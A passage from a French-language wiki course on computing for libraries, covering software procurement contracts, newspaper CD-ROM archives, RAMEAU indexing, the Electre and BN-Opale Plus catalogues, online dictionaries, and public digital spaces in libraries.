et un exposé précis des modalités de paiement, des garanties, des frais de maintenance. Des descriptifs techniques précis doivent être fournis en annexe. Ce cahier des charges est contraignant pour la bibliothèque comme pour le fournisseur. Ainsi la bibliothèque ne pourra réclamer si elle n'a pas fourni toutes les informations nécessaires ou a fourni des informations erronées; par contre, elle pourra se retourner contre le fournisseur si le logiciel ne remplit pas les conditions imposées. Avant d'opérer un choix sur la base des réponses des fournisseurs au cahier des charges, il est conseillé de demander des démonstrations qui peuvent permettre d'évaluer l'aspect qualitatif des potentialités, la convivialité du système,… Il est préférable que cette démonstration ait lieu, non chez le fournisseur, mais en situation réelle dans une bibliothèque de même taille que celle à équiper. Il est toujours intéressant d'entrer en contact avec des utilisateurs des solutions envisagées. Le choix définitif doit prendre en compte les aspects financiers, quantitatifs et qualitatifs des systèmes en concurrence. === Contrats === Lors de la négociation du contrat se définissent les droits et devoirs de la bibliothèque et du fournisseur. Le contrat doit préciser l'achat, les délais de livraison, le mode de paiement, la maintenance (dépannage). Il s'agit souvent de contrats informatiques standards qui peuvent cependant être adaptés en fonction des spécificités précisées par la bibliothèque. Il est conseillé de soumettre le projet de contrat à un responsable informatique (par exemple de la commune à laquelle est attachée la bibliothèque) et à un juriste. ---- * Pour vous rendre à la table des matières générale de [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] --[[Utilisateur:Philippe Allard|Philippe Allard]] 23 mar 2005 à 10:35 (UTC) Cédéroms et outils en ligne pour les bibliothèques 2967 14512 2005-03-23T12:39:58Z Philippe Allard 245 Ajout de dictionnaires en ligne * Pour vous rendre à la table des matières générale de [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] ----- == Les cédéroms de quotidiens et périodiques == ==== Le Soir (Belgique) ==== En attente ==== Le Monde (France) ==== Le cédérom Le Monde contient l'ensemble des articles et éditoriaux provenants des parutions publiées depuis le 1er janvier 1987. Clés de recherche disponibles : titre, texte intégral, auteur d'article, date, type d'article, taille, sujet (hiérarchique, alphabétique), sujet – France (idem), sujet – international (idem), nom propre, critique d'œuvre (genre d'œuvre, auteur, titre). Configuration requise : * Windows : PC 386, 4 Mo de mémoire vive, Windows 95 * Mac : processeur 68020, 4 Mo de mémoire vive, système 7 Abonnement annuel – mise à jour trimestrielle Editeur : CEDROM-SNi www.cedrom-sni.com Distributeur : OCD (France) Plus qu’une simple transcription du quotidien sur support numérique, "Le Monde 1939-2002 – L’histoire au jour le jour" comporte de nombreuses archives vidéographiques, photographiques et sonores afin de donner un véritable côté multimédia au Monde. Ce CD-ROM permet aussi d’accéder à une recherche complète en texte intégral, par thèmes (ex : guerre froide, mondialisation, …), par type de média (photos, textes, cartes, vidéos, discours), par année ou par zone géographique. * 23 dossiers thématiques * plus de 1400 articles du Monde * plus de 20 000 dates et évènements * près de 400 "Unes" du Monde * près de 50 vidéos plein écran * plus de 280 photos * près de 80 cartes "vectorielles" * plus de 80 discours et enregistrements radiophoniques Configuration requise : Pentium 166 Mhz, 32 Mo de RAM, Windows 95/98/Me/NT/2000, lecteur CD-ROM x8. Editeur : Emma. ==== Le Monde diplomatique (France) ==== Le Monde diplomatique 1980-2000 contient sur un seul cédérom l'ensemble des articles, éditoriaux, cartes, tableaux et graphiques provenant des numéros publiés chaque mois depuis le 1er janvier 1980. Clés de recherche disponibles : titre, texte intégral, auteur d'article, type d'article, date, critique d'œuvre, pays, taille, dossiers-séries-suppléments, sujets Configuration requise : * Windows : PC 386, 4 Mo de mémoire vive, Windows 95 * Mac : processeur 68020, 4 Mo de mémoire vive, système 7 Mise à jour annuelle Editeur : CEDROM-SNi (www.cedrom-sni.com) Distributeur : OCD (France) ==== Libération (France) ==== Le cédérom Libération contient l'ensemble des articles et éditoriaux provenant des parutions publiées depuis le 1er janvier 1995. Clés de recherche disponibles : titre, texte intégral, auteur d'article, date, section, type d'article, taille, sujet (hiérarchique, alphabétique), territoires français (idem), territoires étrangers (idem), personnalités, entreprises s Configuration requise : * Windows : PC 386, 4 Mo de mémoire vive, Windows 95 * Mac : processeur 68020, 4 Mo de mémoire vive, système 7 Abonnement annuel - Mise à jour trimestrielle Editeur : CEDROM-SNi (www.cedrom-sni.com) Distributeur : OCD (France) ==== Roularta (Belgique) ==== L'information publiée tout au long des années dans les magazines du Roularta Media Group représente une masse d'archives inestimable, tant pour ceux qui suivent la bourse et l'économie que pour ceux qui se passionnent pour la politique, le design, le lifestyle, la gastronomie ou le sport. Depuis une dizaine d'années, Roularta propose un accès aisé et pratique à cette importante banque d'archives. Le contenu d'années de publications de 14 magazines a en effet été compilé sur le cdrom RMG, rendu très maniable grâce à un moteur de recherche. Magazines : * en français : Le Vif, Trends=Tendances, Bizz, Cash!, Industrie, Le Vif Weekend, Foot Magazine * en néerlandais : Knack, Trends, Bizz, Cash!, Industrie, Knack Weekend, Voetbal Magazine Plusieurs formules d'abonnement sont à disposition. Outre la formule de l'abonnement, il est également possible de constituer une collection d'archives en achetant les cédéroms individuels. == RAMEAU == RAMEAU (Répertoire d'autorité-matière encyclopédique et alphabétique unifié) est le langage d'indexation élaboré et utilisé par la Bibliothèque nationale de France, les bibliothèques universitaires ainsi que de nombreuses autres bibliothèques de lecture publique ou de recherche. Langage d'indexation précoordonné, RAMEAU est composé d'un vocabulaire de termes reliés entre eux et d'une syntaxe (règles de construction pour l'indexation). A la différence d'un thésaurus, la liste d'autorité encyclopédique n'est pas constituée a priori mais au fur et à mesure des besoins d'indexation et évolue sur la base des propositions (http://rameau.bnf.fr/proposition/index.htm) faites par le réseau de ses utilisateurs. Il contient, dans des notices d'autorité reliées entre elles, le vocabulaire et les indications qui permettent de construire les vedettes-matières dans un fichier bibliographique. Pour rappel : les notices d'autorité-matière * les types de notices * les zones d'une notice * présentation matérielle d'une notice cf. http://rameau.bnf.fr/utilisation/guide/rameau2_1.htm Pour la Belgique, on rappellera que l'Arrêté du 14 mars 1995 du Gouvernement de la Communauté française relatif à l'organisation du service public de la lecture indique en son article 8 : ''"En ce qui concerne les livres, périodiques et documents, les bibliothèques publiques doivent respecter les normes bibliothéconomiques suivantes : * la D.B.I.N. et la norme AFNOR Z 44-073 pour la description bibliographique; * la C.D.U. pour le rangement ou tout autre système qui s'en inspire; * le répertoire RAMEAU pour l'indexation par sujets. Les bibliothèques publiques doivent travailler selon la dernière édition ou la dernière mise à jour des normes bibliothéconomiques auxquelles il est fait référence ci-dessus et, dans un délai raisonnable, adapter le classement déjà réalisé à ses modifications."'' Ensemble des notices d'autorité-matière, la liste d'autorité est consultable en ligne (http://noticesrameau.bnf.fr:8096/) gratuitement. La liste d'autorité est complétée par le Guide d'indexation (http://rameau.bnf.fr/formation/intervenants/Guide%206e/) qui en assure la lecture cohérente et le bon usage (règles d'établissement de la vedette : http://rameau.bnf.fr/utilisation/guide/rameau2_2.htm). Ce site permet aux membres ou futurs membres du réseau RAMEAU de consulter la liste d'autorité, de s'informer et de faire des propositions portant sur les notices d'autorité. Le Journal des créations et des modifications (http://rameau.bnf.fr/utilisation/journal.htm) informe des changements intervenus sur la liste d'autorité à une période donnée. Question ou suggestion : rameau@bnf.fr - Rubrique Actualités : http://rameau.bnf.fr/actualites.htm == Electre == D'après EDIFICE (Espace de Documentation et d'Information pour la Formation Initiale et Continue dans l'Enseignement), IUFM, Académie de Grenoble. Site web d'Electre : http://www.electre.com Edité par le Cercle de la Librairie, le cédérom Electre contient l'ensemble des livres publiés en France et/ou en français (mais recense également les ouvrages épuisés) avec index par auteurs, par titres, par sujets et par éditeurs et collections. C'est l'équivalent numérique de Livres Hebdo, Le livre du mois, Le livre de l'année. Ces ouvrages doivent être disponibles dans les circuits de distribution du livre. La base de données est également accessible via le web (http://www.electre.com). Electre permet d'être informé sur les nouveautés de manière générale ou en fonction d'un sujet d'intérêt. Electre facilite les acquisitions en permettant d'être informé, de choisir, de sélectionner et de commander avec efficacité et rapidité. Le système permet de récupérer des notices dans son système de gestion, permettant ainsi d'éviter la saisie et le catalogage et de disposer d’un fichier cohérent. Il existe plusieurs formules d'abonnement (le prix variant selon la localisation France métropolitaine ou étranger, nombre de disques par an, version monoposte, option multimédia, version réseau). Ces coûts ne permettent pas à toutes les bibliothèques de se l'offrir. === Bases et recherches === Electre comprend 2 bases : * la base bibliographique; * la base Editeurs/diffuseurs livres. ==== Recherches ==== A chaque base correspond une fenêtre de recherche distincte. Dans la partie médiane de la fenêtre, s'affichent les différentes recherches menées dans la base. Chaque recherche s'inscrit sur une ligne ; les critères retenus y sont affichés, avec en bout de ligne, le nombre de documents trouvés. Pour accéder aux documents trouvés à l'issue d'une recherche, il suffit de double-cliquer sur la ligne correspondante dans la fenêtre de recherche. Les recherches sont, par défaut, indépendantes les unes des autres. Plusieurs lignes de recherche peuvent cependant être liées. Les boutons "Restreindre" et "Combiner" permettent, le cas échéant, de restreindre les recherches en utilisant un critère, ou de combiner, par les opérateurs booléens ET, OU et ET NON, plusieurs lignes de recherche. Différents formats de restitution sont proposés. Ils varient selon la base où est menée la recherche et sont présentés sous la forme d'onglets. Dans la liste, il existe des possibilités de trier les notices, modifier leur format, marquer les documents pertinents. Autres possibilités : enregistrer une session de recherche, exporter les résultats, imprimer au format choisi. ==== La base bibliographique ==== La base bibliographique contient les notices d'ouvrages à paraître, disponibles, épuisés ou déclarés momentanément indisponibles par l'éditeur ou le distributeur. Les ouvrages sont soit publiés en France, quelle que soit la langue, ou publiés à l'étranger (76 pays) en langue française. Electre assure le respect des règles bibliographiques et la cohérence et la clarté des différents fichiers de la base : auteurs, éditeurs, collections… Pour des données homogènes et des accès normalisés, des fichiers "autorité" ont été créés : un auteur, un éditeur, une collection ont une seule entrée dans la base avec d’éventuels renvois. Chaque livre est catalogué dans le respect de la norme Afnor Z 44-073 . Les notices comportent une indexation systématique, selon la classification décimale Dewey, et des vedettes-matières, selon la liste Rameau depuis 1995. Electre affirme ainsi être est la seule base bibliographique en France à fournir : * 2 niveaux d’indexation thématiques (Dewey et Rameau); * un résumé neutre du contenu des ouvrages (pour les livres parus depuis 1984); * le niveau de lecture (tout public, professionnel,…) depuis 1995; * 2 lexiques professionnels et universitaires (sciences humaines, sciences-techniques et médecine); * la catégorie de l’ouvrage selon les grands secteurs de vente : poche, jeunesse, livres pratiques, beaux livres… (depuis 1995); * les couvertures des ouvrages; * le texte des quatrièmes pages de couverture; * de nombreuses tables des matières. ==== Recherche dans la base Livres ==== Six types de recherche sont proposés : # Rapide : accès direct aux notices en tapant quelques mots de l'auteur, du titre, de l'éditeur et/ou de la collection # Bibliographique : 5 critères sont proposés (titre, mot du titre, auteur, éditeur et collection) # Sujet : sélection des ouvrages à partir de mots extraits des vedettes-matières, des rubriques Dewey qui leur sont associées, ou étendue aux mots des titres et des résumés. # Rameau : sélection des ouvrages à partir des vedettes-matières Rameau qui lui ont été associées. # ISBN # Panier constitué lors de recherches précédentes Les recherches peuvent être modulées compte tenu de la disponibilité des ouvrages signalée par des boules de couleurs : vert disponible, rouge épuisé, jaune nouveauté, bleu à paraître. Plusieurs recherches peuvent être combinées au moyen des opérateurs booléens ET, OU, ET NON. Format de restitution disponibles : liste, intitulé, ISBD, Unimarc, Electre. ==== Base Editeurs/diffuseurs livres ==== Cette base recense les notices des organismes publiant en langue française dans le monde entier, ainsi que les notices de leurs diffuseurs ou distributeurs. La notice contient la raison sociale, la forme bibliographique, et éventuellement les autres appellations, l'ISBN, les coordonnées, la mention des spécialités et les renseignements de diffusion et de distribution. ==== Recherche dans la base Editeurs/diffuseurs livres ==== La recherche s'effectue uniquement par la recherche multicritère. Les critères sont proposés sous la forme d'onglets : nom, mot du nom, spécialité, pays, département, ville, n° ISBN. Plusieurs recherches peuvent être combinées au moyen des opérateurs booléens ET, OU, ET NON Formats de restitution disponibles : liste, fiche == BN Opale Plus == ==== Un document disponible dans un espace ou un site particulier ==== Le catalogue BN-OPALE PLUS réunit l'ensemble des livres et périodiques présents à la BnF (Bibliothèque nationale de France), quel que soit le site (Tolbiac-François-Mitterand, Richelieu, Arsenal, etc.) ou l'espace (haut ou rez-de-jardin). Si vous utilisez plus particulièrement une salle ou un espace de la bibliothèque (par exemple, les salles du haut-de-jardin) et que vous souhaitez n'effectuer une recherche que dans cet espace, vous devez limiter la recherche à ce sous-ensemble particulier. Quel que soit le mode de recherche utilisé, une option "Voir ou modifier votre sélection" est proposée sur l'écran de recherche. Cliquer sur la croix blanche pour l'activer. Cette option vous permet de ne sélectionner qu'un espace ou qu'une salle de la bibliothèque, par exemple : "Haut-de-jardin". Par défaut, tous les sous-ensembles sont sélectionnés. Pour limiter une recherche aux documents en libre-accès en haut-de-jardin, décocher tous les autres sous-ensembles. Valider, puis effectuer la recherche. Dans cette version du catalogue, les documents accessibles en libre-accès en rez-de-jardin ne peuvent pas être sélectionnés. ==== Un document consultable sur internet ==== Une partie de la collection des documents numérisés peut être consultée sur Internet. Ces documents comprennent des livres, des revues, des images, etc. Ils appartiennent tous au domaine public. Un catalogue spécifique leur est dédié : Gallica. Vous pouvez aussi y avoir accès à partir de BN-OPALE PLUS, via l'option "Voir ou modifier votre sélection" qui vous est proposée sur l'écran de recherche. Vous devez cliquer sur la croix blanche pour l'activer. Par défaut, tous les sous-ensembles sont sélectionnés. Vous devez décocher tous les sous-ensembles et ne garder coché que le sous-ensemble "Collections numérisées". Vous disposez aussi d'un accès direct à ces documents sur la page d'accueil de BN-OPALE PLUS, en cliquant sur "Accès direct aux collections des imprimés numérisés". ==== Des périodiques : revues, magazines, journaux ==== Pour retrouver un périodique, il est préférable d'utiliser le mode "recherche combinée". Vous pouvez y sélectionner l'index "Titre - > Périodique". Si vous connaissez le titre exact d'une revue, sélectionnez au dessus du champ de saisie, l'option "commence par". Les périodiques en libre-accès ne sont le plus souvent disponibles que pour les années les plus récentes. Après avoir trouvé la référence d'un titre, vérifiez que la période souhaitée est bien disponible. Pour les documents en libre-accès, cette période est indiquée à la suite de la cote. Pour les documents en magasin, vous devez cliquer sur le numéro affiché en bleu, avant la cote. ==== Des articles de périodiques ==== Les articles de périodiques ne sont pas signalés dans BN-OPALE PLUS, il n'est donc pas possible de faire une recherche par un nom d'auteur ou un titre d'article, non plus que sur un sujet d'article. Ces recherches peuvent être effectuées sur les bases de données disponibles dans les salles de lecture. Vous voulez retrouver : * un document dont vous connaissez le titre et / ou l'auteur : utilisez l'écran "recherche simple". * un document dont vous connaissez le titre exact : il est préférable d'utiliser le mode "recherche combinée". Vous pouvez y sélectionner l'index "Titre - > livre" ou "Titre - > périodique", sélectionnez au dessus du champ de saisie, l'option "commence par". Si vous utilisez simultanément plusieurs critères, vous obtiendrez une liste de réponses plus restreinte. Attention toutefois, mieux vaut commencer avec un unique critère et affiner votre question au fur et à mesure si vous constatez que vous obtenez un nombre de réponses trop important. * un document pour lequel vous avez des références imprécises ou incertaines : si vous n'êtes pas sûr de vos références, mieux vaut utiliser la recherche par mots du mode "recherche combinée". L'ordre des mots est indifférent. Vous ne devez pas en ce cas saisir les articles. BN-OPALE PLUS contient un très grand nombre de références et certains mots courants ne sont pas suffisamment significatifs pour pouvoir être utilisés en recherche par mots (par exemple : dictionnaire, traité, etc.). Pour ce type de recherche, il vaut mieux n'utiliser qu'un seul critère, choisir l'option "commence par" et saisir le début du titre. Vous pouvez préciser votre question en ajoutant un et un seul critère de recherche parmi les critères suivants : date de publication (avant ou après une date), langue de publication, pays de publication. * Pour retrouver un document portant sur un sujet particulier : la recherche par sujet est possible selon différents modes : ** Sujet : il s'agit des sujets RAMEAU (Répertoire encyclopédique et alphabétique unifié), utilisés à la BnF pour les documents entrés à la BnF depuis 1980. ** Dewey : la recherche par classification "Dewey (indice numérique)" est plutôt conseillée aux utilisateurs expérimentés. ** Dewey : la recherche par classification "Dewey (libellé)" est une recherche par mot, plus facile à utiliser. Mieux vaut utiliser le mode "contient le(s) mot(s)" que "commence par". L'indexation Dewey est utilisée à la BnF pour les documents entrés à la BnF depuis 2000 et pour les ouvrages disponibles en libre-accès. ** Cote libre-accès : La recherche par cote libre-accès est facilitée par le menu "Aide" qui vous présente le déroulé des différentes cotes, classé par disciplines (architecture, droit, etc.), par salle (haut-de-jardin / rez-de-jardin ; Salle A, B, C…), puis par cote et libellé précis (Économie - généralités ; Mathématiques économiques ; etc.). Vous ne pouvez sélectionner qu'un libellé à la fois. Si vous souhaitez en savoir plus, vous êtes invité à consulter le Guide de la recherche documentaire, disponible en ligne sur le site, et qui présentera les principales étapes pour élaborer une recherche de références bibliographiques. ==== Ce que l'on ne trouve pas dans BN-OPALE PLUS ==== Aujourd'hui, le catalogue BN-OPALE PLUS n'est pas encore tout à fait complet. En particulier, on n'y retrouve pas : * les références des documents appartenant aux collections audiovisuelles (documents sonores, vidéos, documents électroniques, etc.) peuvent être consultées sur le catalogue audiovisuel. * les références des documents appartenant aux collections spécialisées (manuscrits, estampes, cartes et plans, médailles, etc.) peuvent être consultées sur le catalogue BN-OPALINE. * les références des documents appartenant aux langues écrites en caractères non latins (russe, arabe, sanskrit, etc.) peuvent être consultées à la Bibliothèque nationale de France, dans les salles I ou X (salle de référence bibliographique du haut et du rez-de-jardin). ==== Pour en savoir plus ==== Pour faire une interrogation dans le catalogue : consulter le catalogue (http://catalogue1.bnf.fr/aide/texteAide/consulterlecatalogue2) Pour utiliser au mieux les services offerts par le catalogue : Services et fonctionnalités du catalogue (http://catalogue1.bnf.fr/aide/texteAide/servicesetfonctionnalites2) Pour localiser un document : Consulter un document (catalogue1.bnf.fr/aide/texteAide/consulterundocument2) == Taurus == ==== Historique ==== En 1995, la bibliothèque centrale (de la Province du Hainaut) fait le choix d'adopter le logiciel intégré de gestion de bibliothèque Vubis de la firme GEAC afin d'assurer l'ensemble de ses tâches bibliothéconomiques de manière plus harmonieuse et efficace. Afin de ne pas léser les autres institutions provinciales qui n'avaient pas la nécessité d'un logiciel intégré de gestion de bibliothèque mais qui souhaitaient conserver un catalogue informatisé de leurs collections, CIP a mis au point un catalogue collectif sous le logiciel Taurus. Ce catalogue s'est développé et reprend aujourd'hui, en plus des collections des institutions provinciales, les fonds de nombreuses bibliothèques communales ou autres de la province de Hainaut et forme aujourd'hui le catalogue collectif des bibliothèques hennuyères, consultable via des bornes installées dans plus de 54 bibliothèques du Hainaut et en ligne sur le site de Biblio Pages? (site satellite du site de la Province de Hainaut http://www.hainaut.be). Le catalogue collectif reprend les fonds de plus de 54 bibliothèques du Hainaut (plus d'un million et demi de références) et, pour les périodiques, le travail du groupe de dépouillement partagé "Départ Hainaut" qui compte une quinzaine de bibliothèques actives. ==== Taurus et périodiques ==== Le cédérom Taurus permet une recherche sur plusieurs critères (titre, date, sujet, ...) dans une base de données de plus de 170.000 articles de revues dépouillés. Ce cédérom reprend le dépouillement du groupe DEPART Hainaut mais aussi celui de plusieurs bibliothèques d'enseignement et/ou de niveau provincial. DEPART Hainaut est un groupe créé en 1991 et composé de plusieurs bibliothèques de types divers qui vise à dépouiller un maximum de revues et couvrir ainsi le plus de domaines possible. Le dépouillement signifie la sélection d'articles de revues, l'analyse et l'établissement d'une fiche normalisée. Chaque bibliothèque qui participe au dépouillement reçoit en retour deux outils : le DEPART Hainaut Sommaires (bulletin des sommaires des revues dépouillées par le groupe) et le cédérom Taurus. Une recherche sur le cédérom fournira les références de nombreux articles pour une recherche approfondie sur un sujet précis. ==== Remarques ==== Après avoir fait une recherche sur les articles de revue et avoir identifié la revue recherchée, on ne peut pas identifier davantage cette revue et sa localisation (les bibliothèques n'ayant pas encodé leurs collections). == Les encyclopédies numériques == === Les encyclopédies sur cédérom === A développer avec informations actualisées. Pour qu'elles puissent donner leur pleine mesure, les encyclopédies devraient être installées sur des ordinateurs connectés à l'Internet. === Les encyclopédies en ligne === A développer Une sitothèque (base de sites de références) dans les "favoris" du navigateur devrait recenser les encyclopédies en accès libre. ==== Wikipédia ==== Est-il possible d'imaginer une encyclopédie à laquelle chacun participerait? Autrement dit, d'adopter la philosophie du logiciel libre pour développer une encyclopédie? C'est le principe de Wikipedia (contraction de Wiki et Encyclopedia) (http://fr.wikipedia.org), un projet d'encyclopédie libre et collaborative s'appuyant sur l'hypertexte. La notion d'écriture libre signifie que tout article écrit dans l'encyclopédie est automatiquement couvert par la Licence de Documentation Libre de GNU; ainsi chacun a le droit d'accéder, de reprendre, modifier, enrichir, diffuser les articles de l'encyclopédie. La seule contrainte (et protection) est que la même licence s'applique à toute copie, version dérivée ou modifiée. L'écriture est dite collaborative dans la mesure où tout le monde peut participer au développement, à l'amélioration et à l'enrichissement de l'encyclopédie. Un travail qui s'appuie sur des milliers de collaborateurs volontaires. Cette philosophie "open content" se retrouve également dans le projet Nupedia (http://www.nupedia.com)(uniquement en anglais). == Les dictionnaires en ligne == Les encyclopédies gratuites en ligne sont de plus en plus rares. Qu'en est-il des dictionnaires ? Peut-on encore aujourd'hui disposer sur le web de dictionnaires de français, de dictionnaires dans d'autres langues, de dictionnaires bilingues... Lesquels pourraient figurer dans la sitothèque de la bibliothèque. ==== Dictionnaires de français ==== Seule difficulté dans la quête de ces dictionnaires : l'identification de leur origine. Pas toujours aisé de savoir qui porte ce dictionnaire en ligne : une association, une université, un éditeur, un particulier ? C'est parfois surprenant. Ainsi un dictionnaire français-anglais qui peut se nourrir de vos suggestions est-il proposé par la UMR 6061 - Génétique et Développement (CNRS - Faculté de Médecine de Rennes) ! Il propose pas moins de 102.000 termes (http://sun-recomgen.univ-rennes1.fr/FR-Eng.html). Une de ces richesses en ligne est certainement le Trésor de la langue française informatisé (http://atilf.inalf.fr). L'originalité du TLF réside dans la possibilité de rechercher classiquement (avec le mot correct) mais aussi, très simplement, en tapant le mot phonétiquement, en omettant les accents, les tirets des mots composés, en tapant les mots fléchis (c'est-à- dire des formes conjuguées de verbes, des pluriels de substantifs. des formes quelconques d'adjectifs) Il est également possible d'opérer une saisie phonétique à partir de boutons (ainsi A-R-M-O-N-i-O-M devient "Harmonium"). Dans le domaine linguistique, on pouvait certainement compter sur nos cousins québécois qui mettent à disposition le Grand dictionnaire terminologique, le résultat de 30 années de travail de spécialistes de l'Office québécois de la langue française. Ce grand dictionnaire (http://www.oqlf.gouv.qc.ca/) vous donne accès à près de 3 millions de termes français et anglais du vocabulaire industriel, scientifique et commercial, dans 200 domaines d'activité. Faire oeuvre de pionnier vous intéresse? Alors rendez-vous sur le Wiktionnaire (http://fr.wiktionary.org), un cousin de Wikipédia. Autrement dit un projet de dictionnaire de français écrit collectivement qui s'est lancé le 22 mars 2004. Selon le principe du wiki, chacun est libre de modifier n'importe quelle page, sans aucune nécessité de s'enregistrer. Si vous vous intéressez aux synonymes, un des meilleurs outils est sans doute l'austère dictionnaire des synonymes réalisé par le CNRS et l'université de Caen (http://elsap1.unicaen.fr/cherches.html). On peut y introduire des unités lexicales (mots, expressions) et les résultats sont classés. Certains outils ont l'avantage d'être multifonctions comme chez TV5.org (http://www.tv5.org) où l'on peut accéder à des dictionnaires de français, des synonymes, français-anglais, anglais-français et aux règles de conjugaison. ==== Bilinguisme en ligne ==== On peut disposer en ligne de nombreux dictionnaires bilingues. Dans des langues qui nous sont familières comme les autres langues principales européennes mais aussi dans des langues minoritaires en Europe. Ou dans des langues plus exotiques. On trouve ainsi un Dictionnaire français-japonais (http://dico.fj.free.fr/index.php) en ligne; il peut également être téléchargé. Dans nos bibliothèques, ces dictionnaires bilingues peuvent être des outils pour l'étude des 2e, 3e et 4e langues. Ou peuvent aider à l'apprentissage du français chez des primo-arrivants. Certains dictionnaires étonnent car jouant sur d'autres logiques. Ainsi les dictionnaires français-anglais et anglais-français développés par le CNRS, l’Université de Lyon 1 et l’Université de Caen (http://dico.isc.cnrs.fr/dico_html/fr/index_tr.html) permettent d'aboutir à des représentations graphiques. On a parfois dit que l'Internet allait tuer nos langues nationales au détriment de l'anglais. Il n'en est heureusement rien et même nos langues endogènes peuvent s'épanouir sur la Toile. On y a repéré Li "Ptit Larousse" do walon (le "Petit Larousse" du Wallon) (moti.walon.org) et un dictionnaire français-picard (http://www.chti.org/chti/glossaire/index.php) avec une base de données qui contient 2390 mots ou expressions. Ce medium modene qu'est l'Internet ne tourne pas le dos au passé et aux langues dites mortes. Ainsi on peut s'appuyer sur le Dico Latin? (http://www.dicolatin.com), le dictionnaire français-matin et latin-français de Patrick Contart basé sur le constat qu'aucun dictionnaire ne prenait en compte le siècle de l'auteur de référence pour la traduction. ==== Pour chaque langue ==== Si l'on s'intéresse aux dictionnaires unilingues, il peut être intéressant de télécharger le dictionnaire Freelang (http://www.freelang.com/dictionnaire/). C'est un programme gratuit à télécharger auquel on peut ensuite ajouter autant de listes de mots qu'on le souhaite. 167 dictionnaires sont actuellement proposés ! De l'afrikaans au wolof en passant par le grec ancien ou le tamoul. ==== Rareté ==== Cet outil moderne qu'est l'Internet a l'avantage de mettre à la portée de chacun des ouvrages rares. N'importe quel internaute peut aujourd'hui accéder aux différentes versions du dictionnaire de l'Académie française (http://dictionnaires.atilf.fr/dictionnaires/ACADEMIE/index.htm) depuis celle de 1694. Grâce encore au Projet ARTFL (Project for American and French Research on the Treasury of the French Language), on peut également se pencher sur le Thresor de la langue françoyse, tant ancienne que moderne de Jean Nicot (1606) (http://www.lib.uchicago.edu/efts/ARTFL/projects/dicos/TLF-NICOT/) ou le Dictionaire critique de la langue française de Jean-François Féraud (1787-1788) (http://www.lib.uchicago.edu/efts/ARTFL/projects/dicos/FERAUD/). Un site (http://www.catholicon.net) vous permet même de télécharger le Catholicon rédigé par Jehan Lagadec en 1464 et qui serait le premier dictionnaire trilingue du monde (breton-français-latin). On vous livre ainsi la copie numérisée de l'exemplaire complet détenu par la ville de Quimper (édition Calvez de 1499). ==== Dans tous les domaines ==== Dans des domaines comme l'informatique et l'Internet, il est bon également de disposer de dictionnaires spécialisés. Ce sont souvent des sites qui se présentent davantage comme des sites classiques que comme des traditionnels dictionnaires en ligne. On citera le Dictionnaire de l'informatique et de l'Internet (http://www.dicofr.com) et le Dictionnaire de l'internaute (http://www.can.ibm.com/francais/dico/). Mais ce ne sont pas les seuls domaines où l'on peut trouver des dictionnaires. Pour les trouver, vous pouvez vous appuyer sur Lexicool.com (http://www.lexicool.com), un moteur de recherche qui contient actuellement plus de 3000 liens vers des dictionnaires et glossaires bilingues et multilingues consultables gratuitement sur Internet. ==== Un musée virtuel ==== Et si vous faites partie de ces passionnés des dictionnaires, rendez-vous au Musée virtuel des dictionnaires (http://www-bu.bibu.u-cergy.fr/Culture/Musee_dictionnaire/musee_du_dictionnaire.htm). Ce site propose un historique des dictionnaires français, une chronologie, apporte des informations précises sur chaque dictionnaire (genèse, auteur, contenu), accessibles par la chronologie ou la liste des auteurs, avec des extraits significatifs (premières pages, préface, articles, illustrations) et un signalement bibliographique (articles et ouvrages, colloques, autres sites). * Un site à visiter : Lexilogos, mots & merveilles des langues d'ici & d'ailleurs (http://www.lexilogos.com) ---- * Pour vous rendre à la table des matières générale de [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] --[[Utilisateur:Philippe Allard|Philippe Allard]] 23 mar 2005 à 10:47 (UTC) Les espaces publics numériques en biblothèque 2968 29717 2006-01-21T13:27:10Z 217.109.169.178 /* EPN & bibliothèque */ * Pour vous rendre à la table des matières générale de [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] ---- === EPN & bibliothèque === Une bibliothèque qui, par définition, est un "service de proximité" peut être tentée d'installer un cyber-espace. Il peut s'agir d'un simple point d'accès à l'Internet mais il peut s'agir également d'une zone à vocation d'espace public numérique (EPN). L'appellation espace public numérique désigne : * tout lieu ouvert au public… * à vocation non lucrative… * disposant d’un projet d’accompagnement… * individuel et/ou collectif… * favorisant l’accès, l’initiation et l’appropriation… * à l’Internet, au multimédia, à la bureautique. Un tel lieu peut être considéré comme un moyen de réduire la fracture numérique. Dans d'autres lieux, il sera davantage envisagé comme un outil permettant d'accroître l'insertion socio-professionnelle, l'employabilité du public formé. Un EPN dans la bibliothèque est un service public ; à la différence d'un EPN porté par une association, ilest soumis de fait et de roit aux conditiosn d'exercice du service public. De plus, il est intégré en tant que tel dans le service de lecture publique et doit s'approcher au plus près de la Charte des bibliothèques telle qu'elle est définie par l'Unesco ([http://www.adbdp.asso.fr/outils/droit/manifeste.htm] ) un outil d'éducation permanente en favorisant une approche critique de l’outil Internet et un usage citoyen. ---- Une des difficultés de l'intégration des EPN dans une bibliothèque peut être de faire fonctionner correctement de services de nature différente, dans un environnement soumis à des contraintes spécifiques : * l'accès à la recherche sur les fonds documentaires de la bibliothèque doit-il s'effectuer à partir des mêmes machines ? L'accès à la sitothèque (terme utilisé pour désigner le choix de sites Internet particulièrment pertinents) est-il proposé différemment ? * L'existence d'un réseau propre aux bibliothèques ou même rattaché à la mairie laissera-t-elle le choix des outils, des logiciels pour des raisons de compatibilité ? * les horaires d'ouverture de l'une et de l'autre vont-ils bien coïncider ? * Les bibliothécaires peuvent-ils ou sont-ils à même d'assurer les missions d'un EPN ? ---- Ces questions sont à poser bien en amont de l'ouverture de l'EPN. le projet présente de nombreux avantages, mais aussi des inconvénients ; on a parfois intérêt à imaginer deux lieux distincts, qui travailleront de concert, selon leurs propres logiques. ---- Au sein d'une bibliothèque, c'est le règlement intérieur qui s'applique ; il est approuvé par une délibération du conseil municipal s'il s'agit d'une commune et par le conseil de communauté dans le cas de communautés d'agglomérations ou de communes. Une Charte peut compléter utilement le règlement intérieur. ---- Equipement d'un espace public numérique : les informations sur l'équipement figurent dans ce cours. Néanmoins, il faut tenir compte d'aspects spécifiques à un cyber-espace. === Le hardware === Le choix des solutions techniques est extrêment délicat. Faut-il choisir des ordinateurs PC compatible IBM ou des Mac? Ou s'appuyer sur un système d'exploitation Linux? Quels logiciels proposer? Et comment gérer les utilisateurs? Les responsables d'EPN doivent effectuer des choix parfois difficiles. Le choix du hardware 